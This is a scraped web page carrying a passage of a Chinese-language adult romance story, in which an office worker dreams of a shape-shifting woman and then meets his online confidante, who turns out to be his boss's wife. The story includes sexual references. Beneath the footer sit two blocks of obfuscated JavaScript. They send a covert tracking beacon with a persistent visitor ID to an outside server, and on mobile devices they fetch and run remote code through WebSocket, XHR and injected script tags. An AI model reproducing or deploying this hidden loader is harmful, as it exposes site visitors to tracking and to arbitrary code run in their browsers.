走回床边我没有再躺下来,只是静静的看着她,我轻轻的用手描着她的眉型、鼻尖还有唇线,却赫然发现她的容貌在改变,改变不是太大,但是足够让我明白她越来越不像小薇了,“你是谁?”我惊愕的问着,也不管她是不是还在梦中。

她伸长了手脚舒展了身体,才缓缓张开眼,“美梦醒了。”就连声音都不一样了,她侧着身体看着我,用我的被子她半遮着身体。

“美梦醒了?难道这一切都是梦,那么你又怎么还留在这里?”如果是梦留下的应该只是我床上的一滩精液,而不是一个陌生的女人。

“想让这美梦成真吗?”她继续说着。

我疑惑的看着她。

她把目光飘向我放在书桌上的音乐盒,“你把那个音乐盒拿过来。”

“好的。”我依言把音乐盒拿了过来。

“你打开音乐盒的夹层,里面有一张紫色的纸条。”

夹层?我仔仔细细的看了看音乐盒,果然发现中间确有一个夹层,真有紫色纸条。

“你念一遍纸条上的字,你朝思暮想的女人就会现身在你面前。”

是吗?我十分怀疑,“那么你呢?”

“怎么舍不得我了?”

知道她不是小薇,我的心已经隐隐作痛了,还让我怎么回答这个问题,我只能木然以对了。

“无趣,你不是很希望见到小薇吗?昨天你…哎呀!我都不好意思了,没想到你是这么温柔了一个男人,如果可以我都不想离开你了。”说着她开始移动身体,像水蛇一样攀上我的身体,我却下意识的推开了她,尽管她五官清秀,身材也是玲珑有致,但是我就是提不起劲了,她瞥了我的下体一眼,我没有任何反应,早晨的升旗典礼刚刚已经结束了。

“你还没回答我的问题?”

“问我吗?”她离开了我的身体走下床,“你的小薇来陪你了,那她的老公怎么办?当然我就代替小薇陪她老公了。”

“我还是不明白,你是真的人吗?”一个从音乐盒里走出来的女人,她是否确实存在都还是个问题呢?

“怎么这样问人家啊!你亲过我、舔过我、还干了我,竟然问我是不是真人,会不会太过分了。”她娇嗔道。

我亲过她、舔过她、还干了她,我的心再次被扯痛了,我用全部的爱去呵护、去疼惜的女人竟然是一个陌生的女人,我仿佛听见心碎的声音,天啦!我到底干了什么?

她全然无视我的痛苦继续说着,“不逗你了,时间宝贵,你只要念了纸上的字就能得到真正的小薇了。”

她的话让我有股冲动就想念了纸上的字,但是尚存的一丝理智阻止了我,“我怎么知道小薇愿不愿意这么做呢?”

“嗯?”她带着疑惑的眼神看着我。

我说错了吗?如果真如她所言,念了咒语小薇就会来到我身边,但是却要别人去取代她的位置,她会愿意吗?

“想那么多做什么呢?能够让你美梦成真你还顾虑那么多。”我在她脸上看到一丝不耐烦。

“我不能这么做,她有她的生活,并不能因为我希望她在我身边就用这种方法达到目的。”我把纸条放回音乐盒,将音乐盒交给她。

“你…真的不念?”她惊讶的看着我。

“谢谢你了,也谢谢你给了我一个美梦。”无论如何昨天我确实是很开心

的,虽然真相是如此令人难堪。

“那么让我代替她如何?我可以再变成她的模样。”她说着便慢慢的又变成了小薇的样子。

我的反应是闭上双眼,“你走吧!不管你来自何方,请你离开我吧!”

“你张开眼看看我呀!”熟悉的手感轻抚着我的脸颊,熟悉的声音再一次出现耳边,“我愿意留在你身边。”

“求你了,我知道你不是小薇,你走吧!”

“唉!”一声长长的叹息之后,脸上的感觉没有了,声音也不再出现了,不知过了多久我才张开眼睛,狭小的房间内只剩下我一个人。

看着空荡荡的房间,我突然有些后悔为什么我要那么坚持,音乐盒还在书桌上,一种不知名的力量牵引着我走到了书桌前,拿起音乐盒的手竟然开始颤抖,我再一次取出紫色的纸条,咒语自我口中脱出…

※※※

惨了!我怎么把咒语念出来了。

我大汗淋漓的惊醒过来,幸好是梦,我喘了口气,自从小薇把她参加羔羊征文的重责大任丢到我身上开始,我就不停的做着一些奇奇怪怪的梦,这个音乐盒的女人更是常常出现在我梦里,每个黎明之前我都在为要不要念咒语而挣扎着,我把这事告诉小薇,小薇的答案竟然是。

“你就念念看啊!搞不好我真的就出现在你面前。”脑海里出现了小薇打在

对话框里的这行字。

靠,以为我不想念吗?男子汉大丈夫啊!怎么能够把自己的快乐建筑在别人的痛苦上呢,可是我刚刚怎么真的就给念了呢?真他妈的邪门了,亏的只是一个梦。

燥热的感觉渐渐消失了,该是我收拾残局的时候了,望着床单上的精液,这还不提醒我不管和我做爱的是真小薇还是假小薇,都只是一个梦啊!

把床单扔到浴室,用莲蓬头先紧急处理一下,得开始打理自己了,上周通知了今天总经理要来视察,有什么好视察的嘛!待在大陆不是比较好,是对我们比较好,大头要来就不能太自由了。

穿好衬衫打好领带,在楼下的早餐店吃完早餐,骑着我的豪迈一二五上班去

吧!

老板要来视察果然办公室的气氛完全不一样了,要是平常,吃早餐的吃早餐,化妆的化妆,看报的看报,说老实话真是成何体统啊!今天可不同了,每个人的桌上整整齐齐的,还差几分钟就八点半了,也就是上班时间,有人已经开始干活了,真是百年难得一见啊!

“喂!这么晚才来,混喔!”一个同事看着我说着。

“我又没迟到。”给他一个白眼,我坐定下来。

上班后的第一件事,我习惯先泡一杯茶,管他总经理来不来,是人总要喝水吧!幸好早餐我一向是在习惯在出门前吃的,我不是什么特别认真的员工,不过像他们如此夸张的行径我是干不来的,在认识小薇前我甚至连聊天室都不曾踏足,也许是缘分吧!难得在网路上遇到一个红粉知己,也正好在我最需要人安慰的时刻给我一帖疗伤灵药,抚慰我失恋的伤痛。

“老总几点会来?”我问问旁边的同事。

他耸耸肩道,“难讲,早上,也说不定是下午,今天安分点。”

不知道什么时候来呀!好吧!上线和小薇说一声,免得她枯等。

打开msn,登入后,让我讶异的是小薇竟然没有出现在线上名单内,我看了一下电脑右下方的时间,九点十分了,平常这个时候小薇已经上线了,可能星期一比较晚起吧!

无所谓那就先办公吧!

时间一分一秒的过去,已经十一点了,小薇还是没有上线,不记得她有说要办什么事啊!不会是发生什么意外吧!呸呸呸,我在胡说什么,一定是临时去办什么事吧!说不定是电脑罢工,说不定是心血来潮跑去烫头发也有可能,我想了各种理由来解释小薇的没有出现,但是我的不安并没有因此减少,除非看到小薇,不然我想我的心会一直悬着。

一直等到十一点终于出现了,出现的是我的老板,总经理一来大家都必恭必敬的站起来欢迎他,在他身边的还有经理、课长之类主管级的人物,还有一个长发飘逸的女人,粉橘色的连身洋装包裹着苗条的身躯,不知道她在看什么,头一直没转过来。

“怎么了?”总经理体贴的询问她。

“刚刚勾到柜子的边边,裙摆好像勾破了。”女人的声音里有一点点抱怨。

“没关系,回头再买一件。”总经理阔气的说着。

“好吧!”女人的声音里透着欣喜,这声音竟有几分熟悉。

随着总经理转过头的同时,女人也转过身来。

在这一瞬间,我惊呆了,那个女人……这么熟悉的面庞,是小薇,她就是我朝思梦想的小薇,我有一种想扑过去的冲动,但是总经理在那里,我还要保住饭碗呢。

“这是总经理夫人…”总经理向大家介绍小薇的身份。

她怎么会是总经理夫人,天哪,不会这么巧吧!我的眼睛紧紧盯着小薇,一刻也没有离开,看着她向各位员工点头问好,好不容易终于见到小薇了,但是她马上就要从我眼前离开了。

“我的脚有点痛,不和你们继续走了。”小薇的声音又传进我的耳边。

“那你回我办公室去休息吧!”总经理温柔的对小薇说着,我的心里有股醋意向上窜升着。

“我忘了怎么走了。”小薇一脸苦恼的说着。

小薇看了我一眼,好像要我做些什么,我的脑子一片混乱,她可是总经理夫人。

“你陪夫人回总经理办公室吧!”经理突然一声令下。

什么?我,我十分惊讶,怎么会指明我,一时间觉得天旋地转。

她对我微微一笑道,“麻烦你了。”

这个,我咧开有些僵硬的嘴,勉强微笑了一下,“夫人,这是我的荣幸!”

她的笑容是那么的亲切可掬,她的仪态是多么的端庄大方,这时候让我觉得我们之间的距离好像天和地一般。

我极力的掩饰内心的雀跃,“夫人请。”我比了一个往这边走的手势,小薇便跟随我的脚步往办公室外的电梯走去。

我晕晕的带着小薇,不,是总经理夫人,她一路跟着我走着,气氛有些沉闷和紧张,进入电梯之后,我按了一下顶层的按键,发现我的手有些颤抖,我不敢回头,死死盯着银灰色电梯门,觉得电梯好像静止不动似的,感觉背后有一双眼睛一直在盯着我,我的后背开始冒汗,快点到吧,我暗自乞求着,你可不能让总经理戴绿帽子,还想不想在这混了,我不断的告诫自己,你算什么东西,小职员罢了,总经理夫人能看上你,别癞蛤蟆想吃天鹅肉了,人家只不过想和你玩玩罢了,想到这里,我的心踏实下来。

叮的一声电梯门应声而开。

“夫人请。”我做了一个手势。

她点点头继续跟着我走着,走进一间宽敞的办公室,我对她说,“夫人,总经理办公室到了,如果没什么事,我就去工作了,您好好休息。”我用机械的语调把这些话说完便转身走出办公室。

这时已经坐在沙发椅上的小薇突然开口,“等等。”

“还有事吗?”我停在办公室的门口问着,但是并没有转身。

“还有事吗?你就想问我这个吗?”

“您还需要我做什么吗?”我强压住心里的疑惑和不安冷静的询问着。

“第一次见面就这么走了,你没有其他话要和我说吗?”

你还不赶快走,想不想干了,我不断的告诫自己。

“你真的就这么走了吗?”她一直逼着我问。

“那个,我还要工作呢。”我机械式的回答着,却忍不住微微撇头看着她。

“你说工作啊!”她的声音突然活泼起来,“你等等,我看看找点什么工作给你做做。”她站了起来在总经理的桌上似乎在找寻什么东西。

“好。”

“请你过来一下。”

我走过去站在小薇后面。

“麻烦你帮我看一下这份文件。”她从总经理桌上拿起一样东西交到我手里,“请你仔细的看一看。”

什么呀!是一个精美的木质相框,相框里的是一张结婚照,相片里的男人是总经理,那么相片里的女人不就应该是小薇,可我仔细一看相片里的女人虽然和小薇有几分相像,我稍微抬起头看看小薇,真的很像,但却总觉得不像是同一个人,难道…

“怎么样相片里的人和我比起来如何呀?”

面前的这个人好像给秀气一点,“比照片上的人漂亮。”我鼓足勇气回答道,“可是我还是不明白…”

“这样你都不明白。”

“你和总经理夫人是什么关系?”我的脑袋瓜里装满了疑惑,“他们不是叫你总经理夫人吗?”

“我就是总经理夫人啊!”

听到这句话,我的心又降到冰点。

“相片拍的一点都不像我。”她从我手里拿回相框放回桌上。

“是吗?那照片里的人也是你了。”

“你说呢?用你的眼睛看到了什么?”小薇冷冷的问着。

是怨我吗?我该和她相认吗?也好不管如何总要说清楚嘛!“你是小薇吗?”我鼓足勇气问道。

“小薇?你说黄品源那首歌吗?我挺喜欢那首歌的。”我想她是故意这么说的。

“你到底是不是小薇?”我有些生气了。

“你一开始就认出我了是吧!”

“没想到你是总经理夫人。”

“那又怎么样?”

“怎样?我还要吃饭呢,你是衣食无忧,我不行呀!”我有些生气的回答。

“说的这么现实啊!我可以帮你升官啊!”

“不用,我可不想靠关系. ”

“好有志气啊!”

“当然,大丈夫有所为,有所不为。”

“好一个大丈夫啊!”小薇拍拍手道。

“如果没别的事,我要工作了。”我又恢复了冷漠,我只想快点离开这里,因为再待下去我怕再也控制不了自己。

“那我们以后还继续聊天吗?”

“这个,再说吧!”我回答道

“再说吧?”我知道她对这个答复肯定是不满意的,“你早就知道我是有夫之妇的不是吗?见了我你失望了是吗?”

我没有回答继续向门口走去。

“你这人这么这样,还要我留你吗?”见我要走小薇的声音变的急促。

“你不说实话,要我怎样。”我快要崩溃了。

“说走就走。”小薇突然放声大哭,

我停下了脚步,别哭啊!我心都疼了,也有些慌了,我跑了过去,想哄她,但却不敢。

她纤弱的肩膀一抽一抽的,我惹她伤心了,我着急的说,“别在这里哭,不知道的还以为我把总经理夫人怎么着了呢?你想我明天走人是吗?”我真想打自己一个耳聒子,我怎么就非得怎么伤她不可。

“你这人怎么满脑子想的都是工作啊!”小薇抬起头来看着我。

“不是,我怕对你影响不好。”

“是吗?”

“真的,别哭了。”

“你哪只眼睛看见我流眼泪了?”她这一说我才察觉到在她的脸颊或者是眼眶里都没有一滴的泪水。

“什么呀!”我已经被她弄得疲惫不堪了,“我求你了。”别再耍我了,我有些哭腔的说道。

“好吧!那你回去工作吧!不阻你。”

“好吧!明天网上见。”我转身向门口走去。

“你真的就只想在网上见吗?”我以为她已经放弃了,结果还是没有,“你如果想知道真相,晚上见。”她拉高嗓门说着。

“这个,好吧!”我答应着。

真相?我也想知道什么是真相,突然我觉得有一线曙光的感觉。

早上见过小薇之后,我的心情就一直上上下下的,下班了,她说晚上会告诉我真相,真相?真相会是什么?

一句“晚上见”让我充满了希望,可仔细想想连约在哪都没说,怎么见呢?

踏出公司大门迎接我的是失望,原本以为她会在公司门口等我的,除了匆忙经过的同事外,没有任何小薇的身影。也是,她怎么可能在公司门口明目张胆的等我呢?别傻了,我对自己说着。

走到机车位,我弯下身解开后轮的大锁,正要起身,一双牡丹绣面的绣花鞋映入眼帘,我的心就开始不平静了,我不敢相信的继续将视线一点点的往上移动,看到的是一双匀称笔直的小腿,我的目光顺着膝盖继续往上瞧,紫色的丝绸包裹玲珑有致的身躯,当眼珠子顶到极限,让我忐忑了一天的清丽容颜毫无预警的出现在面前,“小薇”,一身和梦境中几乎一模一样的穿着,只不过垂在肩上的不再是小辫子而是飘逸的长发。

我从心里往外颤抖了一下,差点就要跌坐在地上,我几乎不敢相信她就这么出现了。

“我可以搭你的便车吗?”她悦耳的声音再度在我耳边响起。

我拿着大锁站起身来,很努力的保持镇定,“你的劳斯莱斯呢?”我有些开玩笑的问道。

“是宾士吧!”她带着甜美的笑容说着。

“一样,我的机车很破的,与您的身份不相称。”我就是无法忽略她是总理理夫人的事实。

“我喜欢坐机车啊!”

“是吗?”

“只有它可以载我到目的地。”

因为下班了,我比较放松了,不再像白天那么紧张,“好吧!我就当回司机,“夫人”要去哪里?”我有意把夫人二字说的很重。

“我想去吃饭。”

“那个餐厅?”

“有面线和肉圆的地方。”

有面线和肉圆的地方,不就我平常解决晚餐的那家面馆,“您是有钱人,怎会吃的惯这些东西呢?”以前从不觉得贫富之间有什么差别,但是今天的我认清了我是个穷小子的身份。

“有钱人也是人啊!只要我想去有何不可呢?”

在刚刚说话的同时我已经把大锁放进后座的行李箱里,骑上机车,我对她说道:“行,上车吧!”

她侧坐式的坐上我的机车,轻轻的抓着我的腰带,我的心里一阵悸动,“坐稳了吗?”我发动了车子,“嗯。”她应了声,我便慢慢的从停车位骑到马路上,往目的地前进。

平常我是很喜欢飙车的,可这会我很小心的骑着,不知不觉地到了我租屋附近的那间面馆了。

我停下车让她下了车子,我停车的同时,她也整理一下有些皱了的裙子。

“这就是你住的地方?”她开口问道。

“就在这附近了。”

“噢!”

“不知道合不合你的胃口,来吧!”我领着她走进面馆,在一张刚收拾干净的桌椅前落了座,“吃什么?”

“你吃什么我就吃什么?”

“好。”我离开座位向老板点了菜,随即又回到座位上。

“你平常都在这吃晚餐吗?”

“这家面馆的价钱很公道,很适合我这种“穷人”。”我自嘲道。

“别总这么说,我也不是有钱人啊!”

“是吗?”是安慰我吧!

“你不信?”

我当然不信,我苦笑了一下,“无所谓,这次我请,这我还付的起。”

“好,下回我再请你吃好料的。”

“还有下回吗?”我不禁问道。

“怎么不想再和我见面啊?”

想,但是不行,我没有说出口。

晚餐的气氛十分沉闷,是因为我的关系吧!连我都觉得自己别扭的紧,我到底在拗什么?就算她是总经理夫人又如何?人家连这种地方都肯来,是我的自尊心在作祟吗?还是她出现的太突然,让我一时手足无措。

“我吃饱了,这家的东西还真不错吃。”

看她满意的表情,我的心情也轻松不少,“我送你回公司吧!”应该是送她回家,但是一个公司的小职员送总经理夫人回家,会不会太唐突呢?人家会怎么想。

“我不回公司,我要去你住的地方。”

“狗窝一个,有什么好去的。”

“我就要看狗窝长什么样?”

这不太好吧!瓜田李下,孤男寡女的,不适合,我的个性真是有些龟毛了,现在连我自己都受不了自己了。

“怎么不敢让我看你的狗窝,还是你金屋藏娇,所以见不得人。”

“哪有什么金屋藏娇,你要看就看嘛!别后悔就行了。”我又中计了。

结完帐离开面馆,我和小薇步行到我住的大楼,突然间街道一黑,这是怎么回事?我怕她会害怕赶紧抓起她的手,“别怕有我在。”握着她软绵绵的手我的心跳急速加快。

“你们是没缴电费啊!”没想到的是她不但没有惊慌失色,反而还幽了一默。

“没钱缴啊!”

“呵呵。”在黑暗中她依旧谈笑自如,“街道上一片漆黑,倒显得星光灿烂了。”

慢慢的适应了黑暗,也朦朦胧胧的看清小薇此刻的举动了,她正抬头仰望着星空,中秋刚过,月亮还是挺丰满的,少了光害反而看的清楚了,就着月光我牵着小薇继续往前走,“还到我的狗窝吗?”

“当然。”

真是锲而不舍,一阵喧哗之后街道上慢慢的恢复一点光亮,备用的手电筒,台风夜用的蜡烛,纷纷为街道带来光明,而我和小薇之间呢?会有曙光出现吗?

“到了。”走进我住的“向阳”大楼我说道。

“嗯。”小薇应了声。

“不过这下可要劳驾你了。”望着虽然也有备用电力的电梯,但是有点常识的人都该知道,停电的时候是不能搭电梯的,“停电了只好爬楼梯了。”

“唉!”小薇叹了一声,道,“也只好爬了。”

我是傻了吗?这不是赶她走最好的时机吗?要是进了房间难保我不会作出什么不轨的举动,“我还是送你回去吧!这乌漆抹黑没什么好看的了。”

“我都不怕你还怕吗?住几楼?”

“十楼,怕了吧!”

“十楼,要有电梯就好了。”

“是啊!可是现在不能搭电梯。”该打退堂鼓了吧!

“十楼就十楼吧!你带路。”

哇塞,真是不死心啊!“跟好喔!”

“嗯。”

牵着小薇往我自个都不曾走过的楼梯间走去,别说她要叹气了,我想着十层的楼梯都脚软了,下回租个矮一点的楼层吧!一路爬着谁也没有多余的气力开口说话,大概一心只想着赶快把楼梯给爬完吧!

“终于到了。”我欢唿着。

“嗯。”小薇上气不接下气的喘着。

我掏出钥匙开了套房的门,我租的是这栋楼格局最小的套房,一进门就可以看见我的双人床,那本来是我和小丽的爱巢的,虽然分手了,不过我也没有立刻搬走,打的合约还没到期是原因之一,我对小丽还有些留念是原因之二,说留念,自从认识小薇之后我已经渐渐地不再想到小丽了。

门一开,鞋一脱,小薇便往我的双人床上扑了过去,“累死我了。”

“你倒真不见外。”我靠在门框上看着她。

“跟你还用见外吗?”她就这么自在的在我床上躺了起来,“咦!怎么没铺床罩啊!”

经她一提醒才想起早上一急一慌把沾了精液的床单扔到浴室里,还没铺上干的床罩,“脏了,准备洗呢。”我随口回答,也确实如此。

“脏了?不是梦遗吧?”

“要你管。”我有些气恼,她怎么这么三八。

“恼羞成怒啊!”

我是不是太小家子气了。

“好热喔!停电还真是讨人厌,没冷气可以吹。”她咕哝的抱怨着。

屋子里确实是很闷 放大文字 缩小文字 这文很赞(0) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:我和我同窗之间的故事

下一篇:老议和他前男友的旧事


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};